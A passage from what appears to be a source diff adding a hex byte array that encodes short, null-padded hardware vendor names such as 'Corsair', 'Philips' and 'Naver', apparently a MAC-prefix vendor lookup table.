0x6e, 0x6b, 0x65, 0x63, 0x6f, +0x57, 0x44, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, +0x4e, 0x6f, 0x76, 0x61, 0x74, 0x65, 0x63, 0x4b, +0x4e, 0x6f, 0x76, 0x69, 0x67, 0x61, 0x00, 0x00, +0x59, 0x65, 0x61, 0x6c, 0x69, 0x6e, 0x6b, 0x58, +0x4e, 0x69, 0x6d, 0x62, 0x75, 0x73, 0x00, 0x00, +0x42, 0x65, 0x6e, 0x71, 0x00, 0x00, 0x00, 0x00, +0x50, 0x72, 0x65, 0x73, 0x63, 0x6f, 0x70, 0x65, +0x4b, 0x61, 0x65, 0x73, 0x65, 0x72, 0x4b, 0x6f, +0x4e, 0x65, 0x74, 0x4e, 0x65, 0x77, 0x45, 0x6c, +0x4b, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4e, 0x65, 0x77, 0x61, 0x67, 0x53, 0x61, 0x00, +0x41, 0x62, 0x62, 0x47, 0x65, 0x6e, 0x77, 0x61, +0x43, 0x6f, 0x72, 0x73, 0x61, 0x69, 0x72, 0x43, +0x4e, 0x65, 0x6f, 0x73, 0x79, 0x73, 0x74, 0x65, +0x54, 0x6f, 0x6e, 0x67, 0x71, 0x69, 0x6e, 0x67, +0x41, 0x74, 0x63, 0x6f, 0x6d, 0x54, 0x65, 0x63, +0x4e, 0x65, 0x74, 0x72, 0x6f, 0x6e, 0x69, 0x63, +0x41, 0x67, 0x69, 0x6c, 0x65, 0x6d, 0x65, 0x73, +0x58, 0x61, 0x70, 0x74, 0x00, 0x00, 0x00, 0x00, +0x54, 0x6f, 0x6b, 0x79, 0x6f, 0x52, 0x61, 0x64, +0x41, 0x6c, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x67, +0x49, 0x6e, 0x74, 0x65, 0x6c, 0x6c, 0x69, 0x73, +0x4f, 0x73, 0x74, 0x65, 0x72, 0x68, 0x6f, 0x75, +0x55, 0x73, 0x61, 0x67, 0x00, 0x00, 0x00, 0x00, +0x46, 0x6f, 0x72, 0x77, 0x6f, 0x72, 0x6c, 0x64, +0x42, 0x6c, 0x75, 0x65, 0x44, 0x61, 0x6e, 0x75, +0x56, 0x69, 0x70, 0x74, 0x65, 0x6c, 0x61, 0x00, +0x45, 0x6c, 0x66, 0x74, 0x65, 0x63, 0x68, 0x00, +0x54, 0x65, 0x6c, 0x65, 0x61, 0x64, 0x61, 0x70, +0x4e, 0x65, 0x65, 0x74, 0x73, 0x00, 0x00, 0x00, +0x53, 0x61, 0x74, 0x6d, 0x61, 0x70, 0x00, 0x00, +0x52, 0x65, 0x6d, 0x65, 0x63, 0x42, 0x72, 0x6f, +0x45, 0x6e, 0x64, 0x69, 0x61, 0x6e, 0x53, 0x52, +0x4f, 0x70, 0x65, 0x6e, 0x70, 0x65, 0x61, 0x6b, +0x45, 0x6d, 0x62, 0x65, 0x64, 0x00, 0x00, 0x00, +0x4c, 0x7a, 0x6c, 0x61, 0x62, 0x73, 0x00, 0x00, +0x51, 0x73, 0x72, 0x41, 0x75, 0x74, 0x6f, 0x6d, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x51, 0x75, 0x6f, +0x44, 0x69, 0x61, 0x6c, 0x6f, 0x67, 0x53, 0x65, +0x4b, 0x79, 0x79, 0x6e, 0x65, 0x6c, 0x00, 0x00, +0x49, 0x72, 0x63, 0x6f, 0x53, 0x69, 0x73, 0x74, +0x52, 0x61, 0x79, 0x74, 0x69, 0x67, 0x68, 0x74, +0x55, 0x6e, 0x69, 0x64, 0x69, 0x73, 0x00, 0x00, +0x47, 0x72, 0x65, 0x79, 0x77, 0x61, 0x72, 0x65, +0x4b, 0x69, 0x72, 0x61, 0x6c, 0x65, 0x54, 0x65, +0x47, 0x70, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, +0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x2d, 0x49, +0x54, 0x61, 0x72, 0x69, 0x6f, 0x78, 0x00, 0x00, +0x4f, 0x66, 0x50, 0x72, 0x65, 0x73, 0x69, 0x64, +0x53, 0x61, 0x66, 0x66, 0x72, 0x6f, 0x6e, 0x53, +0x45, 0x6d, 0x70, 0x6f, 0x72, 0x69, 0x61, 0x54, +0x48, 0x75, 0x72, 0x69, 0x61, 0x00, 0x00, 0x00, +0x4d, 0x6f, 0x64, 0x65, 0x6c, 0x6c, 0x65, 0x69, +0x49, 0x6e, 0x6e, 0x6f, 0x6b, 0x61, 0x73, 0x47, +0x53, 0x6b, 0x79, 0x68, 0x61, 0x77, 0x6b, 0x65, +0x41, 0x6e, 0x68, 0x75, 0x69, 0x57, 0x61, 0x6e, +0x48, 0x79, 0x75, 0x6e, 0x67, 0x73, 0x65, 0x75, +0x54, 0x72, 0x69, 0x2d, 0x54, 0x65, 0x63, 0x68, +0x44, 0x72, 0x69, 0x76, 0x65, 0x6e, 0x65, 0x74, +0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x75, 0x00, +0x57, 0x6f, 0x78, 0x74, 0x65, 0x72, 0x54, 0x65, +0x56, 0x61, 0x72, 0x6d, 0x6f, 0x75, 0x72, 0x4e, +0x41, 0x62, 0x6c, 0x65, 0x6c, 0x69, 0x6e, 0x6b, +0x45, 0x61, 0x73, 0x79, 0x53, 0x6f, 0x66, 0x74, +0x43, 0x6f, 0x68, 0x6f, 0x44, 0x61, 0x74, 0x61, +0x44, 0x76, 0x72, 0x43, 0x26, 0x43, 0x00, 0x00, +0x46, 0x66, 0x6c, 0x79, 0x34, 0x75, 0x00, 0x00, +0x43, 0x68, 0x61, 0x62, 0x72, 0x69, 0x65, 0x72, +0x50, 0x61, 0x72, 0x6b, 0x41, 0x73, 0x73, 0x69, +0x49, 0x26, 0x43, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x4c, 0x65, 0x74, 0x76, 0x4d, 0x6f, 0x62, 0x69, +0x41, 0x64, 0x64, 0x61, 0x74, 0x53, 0x52, 0x4f, +0x43, 0x6f, 0x63, 0x68, 0x6c, 0x65, 0x61, 0x72, +0x50, 0x72, 0x6f, 0x66, 0x69, 0x63, 0x68, 0x69, +0x48, 0x6f, 0x6c, 0x6c, 0x65, 0x79, 0x4d, 0x65, +0x4e, 0x65, 0x77, 0x72, 0x75, 0x6e, 0x00, 0x00, +0x50, 0x61, 0x72, 0x61, 0x64, 0x6f, 0x78, 0x45, +0x48, 0x65, 0x6c, 0x6c, 0x61, 0x53, 0x6f, 0x6e, +0x47, 0x72, 0x65, 0x65, 0x6e, 0x76, 0x69, 0x74, +0x52, 0x61, 0x6a, 0x61, 0x6e, 0x74, 0x00, 0x00, +0x45, 0x6d, 0x62, 0x65, 0x72, 0x74, 0x65, 0x63, +0x41, 0x72, 0x6e, 0x6f, 0x6c, 0x64, 0x52, 0x69, +0x49, 0x6e, 0x63, 0x6f, 0x61, 0x78, 0x4e, 0x65, +0x43, 0x61, 0x74, 0x68, 0x61, 0x79, 0x43, 0x6f, +0x4d, 0x65, 0x6d, 0x6a, 0x65, 0x74, 0x00, 0x00, +0x43, 0x65, 0x6e, 0x74, 0x65, 0x72, 0x61, 0x50, +0x50, 0x65, 0x72, 0x70, 0x6c, 0x65, 0x73, 0x00, +0x43, 0x79, 0x62, 0x65, 0x72, 0x54, 0x72, 0x61, +0x43, 0x72, 0x6f, 0x75, 0x7a, 0x65, 0x74, 0x41, +0x42, 0x65, 0x61, 0x74, 0x53, 0x79, 0x73, 0x74, +0x4a, 0x69, 0x61, 0x6e, 0x67, 0x73, 0x75, 0x51, +0x56, 0x61, 0x69, 0x6c, 0x6c, 0x61, 0x6e, 0x74, +0x47, 0x6e, 0x6f, 0x64, 0x61, 0x6c, 0x00, 0x00, +0x43, 0x33, 0x70, 0x6f, 0x53, 0x41, 0x00, 0x00, +0x49, 0x6e, 0x63, 0x6f, 0x67, 0x6e, 0x69, 0x74, +0x46, 0x61, 0x69, 0x72, 0x70, 0x68, 0x6f, 0x6e, +0x49, 0x65, 0x65, 0x65, 0x31, 0x39, 0x30, 0x35, +0x55, 0x6e, 0x69, 0x70, 0x61, 0x74, 0x74, 0x65, +0x41, 0x69, 0x66, 0x6c, 0x6f, 0x6f, 0x00, 0x00, +0x43, 0x69, 0x6c, 0x61, 0x67, 0x49, 0x6e, 0x74, +0x43, 0x72, 0x79, 0x73, 0x74, 0x61, 0x6c, 0x56, +0x4e, 0x65, 0x74, 0x32, 0x67, 0x72, 0x69, 0x64, +0x43, 0x68, 0x75, 0x61, 0x6e, 0x67, 0x6f, 0x53, +0x47, 0x72, 0x65, 0x65, 0x6e, 0x57, 0x61, 0x76, +0x54, 0x61, 0x69, 0x6c, 0x79, 0x6e, 0x54, 0x65, +0x42, 0x6c, 0x75, 0x77, 0x61, 0x6e, 0x53, 0x61, +0x4c, 0x69, 0x61, 0x6e, 0x67, 0x48, 0x65, 0x72, +0x56, 0x69, 0x65, 0x77, 0x6f, 0x72, 0x6b, 0x73, +0x42, 0x62, 0x6d, 0x63, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x65, 0x74, 0x72, 0x61, 0x73, 0x63, 0x61, +0x4f, 0x6d, 0x73, 0x53, 0x70, 0x6f, 0x6c, 0x53, +0x43, 0x72, 0x6f, 0x73, 0x73, 0x50, 0x6f, 0x69, +0x4d, 0x69, 0x6f, 0x76, 0x69, 0x73, 0x69, 0x6f, +0x52, 0x74, 0x63, 0x49, 0x6e, 0x64, 0x75, 0x73, +0x42, 0x6f, 0x72, 0x71, 0x73, 0x42, 0x65, 0x69, +0x42, 0x6c, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x56, 0x69, 0x74, 0x65, 0x63, 0x53, 0x79, 0x73, +0x4d, 0x74, 0x6d, 0x63, 0x6f, 0x6d, 0x6d, 0x75, +0x4d, 0x6b, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, +0x48, 0x75, 0x61, 0x6d, 0x69, 0x49, 0x6e, 0x66, +0x50, 0x61, 0x6e, 0x6f, 0x64, 0x69, 0x63, 0x53, +0x50, 0x72, 0x6f, 0x74, 0x6f, 0x6e, 0x69, 0x63, +0x54, 0x61, 0x6d, 0x72, 0x6f, 0x6e, 0x00, 0x00, +0x4c, 0x6d, 0x69, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x4e, 0x65, 0x62, 0x75, 0x73, 0x65, 0x6e, 0x73, +0x57, 0x61, 0x74, 0x63, 0x68, 0x6e, 0x65, 0x74, +0x54, 0x74, 0x74, 0x65, 0x63, 0x68, 0x43, 0x6f, +0x4e, 0x65, 0x74, 0x6d, 0x6f, 0x6f, 0x6e, 0x54, +0x41, 0x64, 0x64, 0x6e, 0x65, 0x72, 0x67, 0x00, +0x53, 0x74, 0x6f, 0x72, 0x6f, 0x6e, 0x65, 0x00, +0x49, 0x76, 0x65, 0x6e, 0x69, 0x78, 0x00, 0x00, +0x54, 0x72, 0x61, 0x6e, 0x73, 0x69, 0x63, 0x73, +0x53, 0x72, 0x63, 0x43, 0x6f, 0x6d, 0x70, 0x75, +0x43, 0x68, 0x65, 0x65, 0x72, 0x69, 0x6e, 0x67, +0x4f, 0x72, 0x62, 0x69, 0x73, 0x61, 0x74, 0x44, +0x50, 0x75, 0x6c, 0x7a, 0x7a, 0x65, 0x00, 0x00, +0x49, 0x6e, 0x66, 0x69, 0x6e, 0x69, 0x62, 0x61, +0x58, 0x74, 0x61, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x53, 0x69, 0x61, 0x6e, 0x6f, 0x4d, 0x6f, 0x62, +0x43, 0x68, 0x69, 0x6e, 0x61, 0x48, 0x6f, 0x70, +0x53, 0x63, 0x50, 0x72, 0x6f, 0x66, 0x65, 0x73, +0x4b, 0x32, 0x65, 0x54, 0x65, 0x6b, 0x70, 0x6f, +0x47, 0x61, 0x6d, 0x65, 0x54, 0x65, 0x63, 0x68, +0x56, 0x65, 0x6c, 0x61, 0x6e, 0x6b, 0x61, 0x6e, +0x43, 0x6f, 0x6d, 0x70, 0x65, 0x72, 0x54, 0x65, +0x53, 0x69, 0x6d, 0x74, 0x6f, 0x6e, 0x54, 0x65, +0x53, 0x74, 0x61, 0x62, 0x69, 0x6c, 0x6f, 0x49, +0x44, 0x61, 0x72, 0x62, 0x65, 0x65, 0x76, 0x69, +0x41, 0x6c, 0x6c, 0x43, 0x6f, 0x6d, 0x70, 0x6f, +0x47, 0x73, 0x69, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x42, 0x72, 0x61, 0x64, 0x79, 0x41, 0x73, 0x69, +0x56, 0x69, 0x65, 0x77, 0x63, 0x6f, 0x6f, 0x70, +0x52, 0x61, 0x63, 0x6b, 0x74, 0x69, 0x76, 0x69, +0x47, 0x65, 0x6d, 0x69, 0x63, 0x6f, 0x6d, 0x54, +0x55, 0x6e, 0x69, 0x66, 0x69, 0x65, 0x64, 0x50, +0x54, 0x74, 0x63, 0x4d, 0x61, 0x72, 0x63, 0x6f, +0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x46, 0x69, +0x56, 0x61, 0x6c, 0x65, 0x6f, 0x53, 0x63, 0x68, +0x45, 0x6e, 0x74, 0x72, 0x79, 0x70, 0x61, 0x73, +0x54, 0x65, 0x72, 0x61, 0x6f, 0x6e, 0x00, 0x00, +0x42, 0x74, 0x62, 0x4b, 0x6f, 0x72, 0x65, 0x61, +0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, +0x41, 0x6d, 0x61, 0x74, 0x69, 0x73, 0x43, 0x6f, +0x51, 0x70, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x00, +0x47, 0x65, 0x6e, 0x65, 0x72, 0x69, 0x74, 0x6f, +0x47, 0x65, 0x6d, 0x62, 0x69, 0x72, 0x64, 0x45, +0x45, 0x61, 0x73, 0x79, 0x6e, 0x65, 0x74, 0x77, +0x51, 0x66, 0x69, 0x65, 0x64, 0x6e, 0x65, 0x74, +0x53, 0x69, 0x6d, 0x70, 0x6c, 0x65, 0x41, 0x75, +0x50, 0x6f, 0x79, 0x6e, 0x74, 0x00, 0x00, 0x00, +0x53, 0x6f, 0x76, 0x69, 0x63, 0x6f, 0x00, 0x00, +0x53, 0x75, 0x7a, 0x68, 0x6f, 0x75, 0x54, 0x6f, +0x42, 0x65, 0x67, 0x68, 0x65, 0x6c, 0x6c, 0x69, +0x46, 0x69, 0x72, 0x6d, 0x74, 0x65, 0x6b, 0x4c, +0x41, 0x6d, 0x65, 0x72, 0x67, 0x69, 0x6e, 0x74, +0x43, 0x61, 0x6e, 0x6f, 0x70, 0x75, 0x73, 0x55, +0x53, 0x65, 0x6e, 0x61, 0x6f, 0x4e, 0x65, 0x74, +0x41, 0x72, 0x74, 0x42, 0x65, 0x69, 0x6a, 0x69, +0x41, 0x76, 0x6f, 0x74, 0x65, 0x6b, 0x00, 0x00, +0x57, 0x68, 0x69, 0x72, 0x6c, 0x70, 0x6f, 0x6f, +0x49, 0x6b, 0x6e, 0x6f, 0x77, 0x6c, 0x65, 0x64, +0x59, 0x6f, 0x6e, 0x67, 0x54, 0x61, 0x69, 0x45, +0x49, 0x6e, 0x6e, 0x6f, 0x6d, 0x64, 0x6c, 0x65, +0x54, 0x61, 0x6d, 0x61, 0x67, 0x67, 0x6f, 0x00, +0x43, 0x75, 0x64, 0x6f, 0x43, 0x6f, 0x6d, 0x6d, +0x43, 0x65, 0x6c, 0x6c, 0x6f, 0x6e, 0x43, 0x6f, +0x4a, 0x65, 0x74, 0x6d, 0x6f, 0x62, 0x69, 0x6c, +0x4c, 0x69, 0x6e, 0x65, 0x65, 0x79, 0x65, 0x00, +0x46, 0x69, 0x62, 0x65, 0x72, 0x77, 0x6f, 0x72, +0x52, 0x61, 0x6e, 0x6f, 0x76, 0x75, 0x73, 0x55, +0x48, 0x6f, 0x6d, 0x65, 0x70, 0x6c, 0x75, 0x67, +0x45, 0x6c, 0x65, 0x76, 0x65, 0x6e, 0x00, 0x00, +0x4b, 0x6f, 0x75, 0x62, 0x61, 0x63, 0x68, 0x69, +0x46, 0x6c, 0x6f, 0x77, 0x44, 0x61, 0x74, 0x61, +0x41, 0x6d, 0x70, 0x65, 0x72, 0x00, 0x00, 0x00, +0x41, 0x6e, 0x67, 0x69, 0x65, 0x48, 0x6f, 0x73, +0x41, 0x62, 0x75, 0x73, 0x53, 0x65, 0x63, 0x75, +0x52, 0x66, 0x53, 0x75, 0x72, 0x67, 0x69, 0x63, +0x51, 0x75, 0x61, 0x6e, 0x74, 0x68, 0x6f, 0x75, +0x49, 0x62, 0x61, 0x44, 0x6f, 0x73, 0x69, 0x6d, +0x53, 0x6f, 0x6c, 0x69, 0x64, 0x4f, 0x70, 0x74, +0x45, 0x6d, 0x66, 0x69, 0x72, 0x73, 0x74, 0x00, +0x48, 0x69, 0x74, 0x65, 0x76, 0x69, 0x73, 0x69, +0x51, 0x64, 0x69, 0x71, 0x6f, 0x53, 0x70, 0x5a, +0x42, 0x69, 0x74, 0x34, 0x69, 0x64, 0x53, 0x72, +0x53, 0x6b, 0x69, 0x76, 0x61, 0x54, 0x65, 0x63, +0x52, 0x64, 0x61, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x47, 0x69, 0x67, 0x61, 0x54, 0x6d, 0x73, 0x00, +0x33, 0x64, 0x49, 0x6d, 0x61, 0x67, 0x69, 0x6e, +0x45, 0x76, 0x6f, 0x6c, 0x75, 0x7a, 0x6e, 0x00, +0x55, 0x6e, 0x6d, 0x6f, 0x6e, 0x64, 0x61, 0x79, +0x43, 0x65, 0x72, 0x69, 0x6f, 0x00, 0x00, 0x00, +0x41, 0x26, 0x44, 0x45, 0x6e, 0x67, 0x69, 0x6e, +0x4c, 0x76, 0x78, 0x57, 0x65, 0x73, 0x74, 0x65, +0x43, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x6c, +0x44, 0x2d, 0x42, 0x72, 0x6f, 0x61, 0x64, 0x00, +0x55, 0x63, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x70, 0x67, 0x69, 0x6f, 0x00, 0x00, 0x00, +0x42, 0x65, 0x79, 0x6f, 0x6e, 0x64, 0x44, 0x65, +0x4e, 0x6f, 0x72, 0x74, 0x65, 0x6b, 0x2d, 0x41, +0x56, 0x69, 0x6f, 0x67, 0x65, 0x6d, 0x00, 0x00, +0x47, 0x6f, 0x64, 0x65, 0x6e, 0x54, 0x65, 0x63, +0x4c, 0x79, 0x74, 0x72, 0x6f, 0x00, 0x00, 0x00, +0x41, 0x72, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x73, 0x69, 0x67, 0x6d, 0x61, 0x54, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x49, 0x6e, 0x6e, +0x4c, 0x65, 0x69, 0x63, 0x61, 0x43, 0x61, 0x6d, +0x41, 0x75, 0x67, 0x74, 0x65, 0x6b, 0x00, 0x00, +0x45, 0x73, 0x74, 0x75, 0x6e, 0x41, 0x75, 0x74, +0x54, 0x61, 0x73, 0x6b, 0x69, 0x74, 0x00, 0x00, +0x54, 0x6f, 0x79, 0x6f, 0x73, 0x68, 0x69, 0x6d, +0x41, 0x75, 0x73, 0x4c, 0x69, 0x6e, 0x78, 0x54, +0x4a, 0x69, 0x67, 0x6f, 0x77, 0x61, 0x74, 0x74, +0x45, 0x6e, 0x63, 0x65, 0x6c, 0x6c, 0x54, 0x65, +0x53, 0x74, 0x61, 0x72, 0x72, 0x79, 0x00, 0x00, +0x4f, 0x72, 0x65, 0x67, 0x61, 0x6e, 0x6f, 0x2d, +0x50, 0x6c, 0x75, 0x67, 0x61, 0x62, 0x6c, 0x65, +0x59, 0x2d, 0x43, 0x61, 0x6d, 0x53, 0x6f, 0x6c, +0x41, 0x69, 0x72, 0x74, 0x65, 0x63, 0x68, 0x49, +0x49, 0x70, 0x69, 0x74, 0x6f, 0x6d, 0x79, 0x43, +0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x50, +0x52, 0x61, 0x64, 0x69, 0x6e, 0x65, 0x74, 0x43, +0x41, 0x63, 0x74, 0x70, 0x00, 0x00, 0x00, 0x00, +0x42, 0x65, 0x66, 0x65, 0x67, 0x61, 0x00, 0x00, +0x43, 0x67, 0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65, +0x59, 0x6f, 0x6b, 0x6f, 0x74, 0x65, 0x53, 0x65, +0x56, 0x69, 0x73, 0x73, 0x69, 0x6d, 0x41, 0x73, +0x49, 0x6b, 0x6f, 0x72, 0x4d, 0x65, 0x74, 0x65, +0x45, 0x73, 0x67, 0x53, 0x6f, 0x6c, 0x75, 0x74, +0x57, 0x69, 0x66, 0x6c, 0x79, 0x2d, 0x43, 0x69, +0x49, 0x73, 0x73, 0x63, 0x54, 0x65, 0x63, 0x68, +0x43, 0x6f, 0x6d, 0x6c, 0x61, 0x62, 0x00, 0x00, +0x43, 0x69, 0x72, 0x63, 0x6c, 0x65, 0x4d, 0x65, +0x54, 0x6f, 0x73, 0x68, 0x69, 0x62, 0x61, 0x4d, +0x44, 0x6b, 0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, +0x53, 0x6f, 0x6e, 0x61, 0x72, 0x64, 0x79, 0x6e, +0x50, 0x72, 0x65, 0x63, 0x65, 0x70, 0x73, 0x63, +0x4f, 0x72, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x6f, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x41, 0x75, 0x74, +0x52, 0x75, 0x69, 0x78, 0x69, 0x6e, 0x67, 0x68, +0x4d, 0x65, 0x73, 0x61, 0x64, 0x61, 0x54, 0x65, +0x56, 0x73, 0x6f, 0x6f, 0x6e, 0x74, 0x65, 0x63, +0x4c, 0x6f, 0x6e, 0x67, 0x6e, 0x61, 0x6e, 0x4a, +0x46, 0x61, 0x72, 0x2d, 0x53, 0x69, 0x67, 0x68, +0x57, 0x69, 0x69, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x50, 0x73, 0x67, 0x50, 0x6c, 0x61, 0x73, 0x74, +0x53, 0x70, 0x72, 0x6f, 0x63, 0x6f, 0x6d, 0x6d, +0x41, 0x6c, 0x69, 0x6e, 0x6b, 0x65, 0x74, 0x45, +0x44, 0x69, 0x67, 0x69, 0x6d, 0x6f, 0x72, 0x65, +0x4d, 0x6f, 0x6e, 0x69, 0x63, 0x6f, 0x4d, 0x6f, +0x48, 0x61, 0x67, 0x65, 0x6e, 0x75, 0x6b, 0x4d, +0x4e, 0x61, 0x6e, 0x6f, 0x6d, 0x65, 0x67, 0x61, +0x41, 0x70, 0x65, 0x78, 0x54, 0x6f, 0x6f, 0x6c, +0x53, 0x63, 0x73, 0x53, 0x61, 0x00, 0x00, 0x00, +0x47, 0x72, 0x65, 0x61, 0x74, 0x43, 0x6f, 0x6d, +0x43, 0x2d, 0x4d, 0x61, 0x78, 0x41, 0x73, 0x69, +0x4c, 0x61, 0x62, 0x6a, 0x61, 0x63, 0x6b, 0x00, +0x4f, 0x6e, 0x79, 0x78, 0x48, 0x65, 0x61, 0x6c, +0x47, 0x61, 0x74, 0x65, 0x6b, 0x65, 0x65, 0x70, +0x59, 0x75, 0x6e, 0x6e, 0x61, 0x6e, 0x4b, 0x73, +0x47, 0x2d, 0x50, 0x72, 0x69, 0x6e, 0x74, 0x65, +0x5a, 0x69, 0x63, 0x6f, 0x6e, 0x54, 0x65, 0x63, +0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x4d, 0x65, +0x54, 0x6f, 0x6b, 0x79, 0x6f, 0x42, 0x6f, 0x65, +0x54, 0x65, 0x64, 0x69, 0x70, 0x61, 0x79, 0x55, +0x56, 0x61, 0x64, 0x61, 0x72, 0x6f, 0x50, 0x74, +0x52, 0x6f, 0x72, 0x7a, 0x65, 0x00, 0x00, 0x00, +0x55, 0x6e, 0x67, 0x6c, 0x75, 0x65, 0x00, 0x00, +0x54, 0x65, 0x73, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x4c, 0x65, 0x6e, 0x62, 0x72, 0x6f, 0x6f, 0x6b, +0x41, 0x75, 0x74, 0x6f, 0x74, 0x61, 0x6c, 0x6b, +0x4d, 0x6f, 0x64, 0x61, 0x73, 0x00, 0x00, 0x00, +0x46, 0x69, 0x64, 0x61, 0x49, 0x6e, 0x74, 0x65, +0x41, 0x6c, 0x70, 0x68, 0x69, 0x6f, 0x6e, 0x49, +0x44, 0x6c, 0x67, 0x41, 0x75, 0x74, 0x6f, 0x6d, +0x47, 0x61, 0x72, 0x65, 0x61, 0x4d, 0x69, 0x63, +0x47, 0x65, 0x62, 0x72, 0x42, 0x6f, 0x64, 0x65, +0x57, 0x61, 0x6c, 0x6c, 0x79, 0x00, 0x00, 0x00, +0x55, 0x74, 0x65, 0x6b, 0x54, 0x65, 0x63, 0x68, +0x48, 0x64, 0x72, 0x31, 0x30, 0x2b, 0x54, 0x65, +0x49, 0x6f, 0x6e, 0x69, 0x63, 0x73, 0x54, 0x65, +0x54, 0x6f, 0x74, 0x61, 0x6c, 0x50, 0x68, 0x61, +0x48, 0x4b, 0x5a, 0x6f, 0x6e, 0x67, 0x6d, 0x75, +0x47, 0x7a, 0x57, 0x65, 0x65, 0x64, 0x6f, 0x6e, +0x47, 0x68, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, +0x55, 0x6e, 0x6f, 0x53, 0x79, 0x73, 0x74, 0x65, +0x54, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x54, 0x65, +0x52, 0x73, 0x69, 0x56, 0x69, 0x64, 0x65, 0x6f, +0x44, 0x69, 0x65, 0x68, 0x6c, 0x42, 0x67, 0x74, +0x49, 0x6d, 0x70, 0x65, 0x78, 0x2d, 0x53, 0x61, +0x45, 0x6c, 0x76, 0x65, 0x65, 0x73, 0x4e, 0x65, +0x4e, 0x65, 0x77, 0x6c, 0x61, 0x6e, 0x64, 0x44, +0x41, 0x63, 0x63, 0x75, 0x74, 0x72, 0x6f, 0x6e, +0x47, 0x68, 0x65, 0x6f, 0x53, 0x61, 0x00, 0x00, +0x53, 0x69, 0x73, 0x6e, 0x65, 0x74, 0x00, 0x00, +0x4e, 0x61, 0x76, 0x65, 0x72, 0x00, 0x00, 0x00, +0x4a, 0x73, 0x77, 0x50, 0x61, 0x63, 0x69, 0x66, +0x50, 0x61, 0x6b, 0x65, 0x64, 0x67, 0x65, 0x44, +0x42, 0x72, 0x69, 0x67, 0x68, 0x74, 0x73, 0x69, +0x4a, 0x6f, 0x79, 0x65, 0x6e, 0x74, 0x00, 0x00, +0x4e, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x67, 0x4a, +0x52, 0x65, 0x63, 0x6f, 0x72, 0x65, 0x00, 0x00, +0x44, 0x6c, 0x6f, 0x67, 0x69, 0x78, 0x73, 0x00, +0x50, 0x61, 0x6c, 0x6f, 0x6d, 0x61, 0x72, 0x4d, +0x42, 0x6f, 0x6f, 0x6b, 0x65, 0x65, 0x6e, 0x00, +0x57, 0x61, 0x76, 0x65, 0x6c, 0x61, 0x62, 0x47, +0x48, 0x75, 0x67, 0x2d, 0x57, 0x69, 0x74, 0x73, +0x41, 0x76, 0x61, 0x6e, 0x75, 0x00, 0x00, 0x00, +0x46, 0x6f, 0x63, 0x75, 0x73, 0x48, 0x26, 0x53, +0x45, 0x2d, 0x4c, 0x65, 0x61, 0x64, 0x45, 0x6c, +0x53, 0x4d, 0x53, 0x53, 0x6d, 0x61, 0x72, 0x74, +0x48, 0x6f, 0x6d, 0x65, 0x72, 0x69, 0x64, 0x65, +0x49, 0x65, 0x65, 0x65, 0x31, 0x37, 0x32, 0x32, +0x53, 0x70, 0x69, 0x4c, 0x61, 0x73, 0x65, 0x72, +0x43, 0x4f, 0x42, 0x4f, 0x00, 0x00, 0x00, 0x00, +0x52, 0x61, 0x64, 0x69, 0x75, 0x73, 0x47, 0x61, +0x4b, 0x69, 0x72, 0x69, 0x73, 0x75, 0x6e, 0x43, +0x52, 0x61, 0x6e, 0x64, 0x4d, 0x63, 0x6e, 0x61, +0x50, 0x68, 0x69, 0x6c, 0x6c, 0x69, 0x70, 0x73, +0x4d, 0x65, 0x74, 0x72, 0x6f, 0x45, 0x74, 0x68, +0x4a, 0x69, 0x6e, 0x79, 0x6f, 0x75, 0x6e, 0x67, +0x41, 0x75, 0x74, 0x6f, 0x68, 0x6f, 0x74, 0x62, +0x4c, 0x69, 0x6c, 0x69, 0x6e, 0x67, 0x46, 0x75, +0x4e, 0x65, 0x74, 0x76, 0x69, 0x65, 0x77, 0x54, +0x48, 0x69, 0x6d, 0x61, 0x78, 0x54, 0x65, 0x63, +0x49, 0x74, 0x66, 0x46, 0x72, 0x73, 0x63, 0x00, +0x50, 0x6f, 0x69, 0x6e, 0x74, 0x43, 0x6f, 0x72, +0x45, 0x6c, 0x76, 0x61, 0x63, 0x6f, 0x00, 0x00, +0x54, 0x6c, 0x61, 0x62, 0x57, 0x65, 0x73, 0x74, +0x53, 0x74, 0x61, 0x6c, 0x6d, 0x61, 0x72, 0x74, +0x44, 0x69, 0x76, 0x65, 0x72, 0x73, 0x65, 0x79, +0x46, 0x69, 0x6e, 0x73, 0x63, 0x75, 0x72, 0x00, +0x54, 0x61, 0x63, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x53, 0x69, 0x63, 0x68, 0x75, 0x61, 0x6e, 0x42, +0x41, 0x73, 0x61, 0x68, 0x69, 0x4e, 0x65, 0x74, +0x41, 0x6e, 0x79, 0x77, 0x61, 0x76, 0x65, 0x43, +0x4d, 0x69, 0x6e, 0x69, 0x2d, 0x43, 0x61, 0x6d, +0x57, 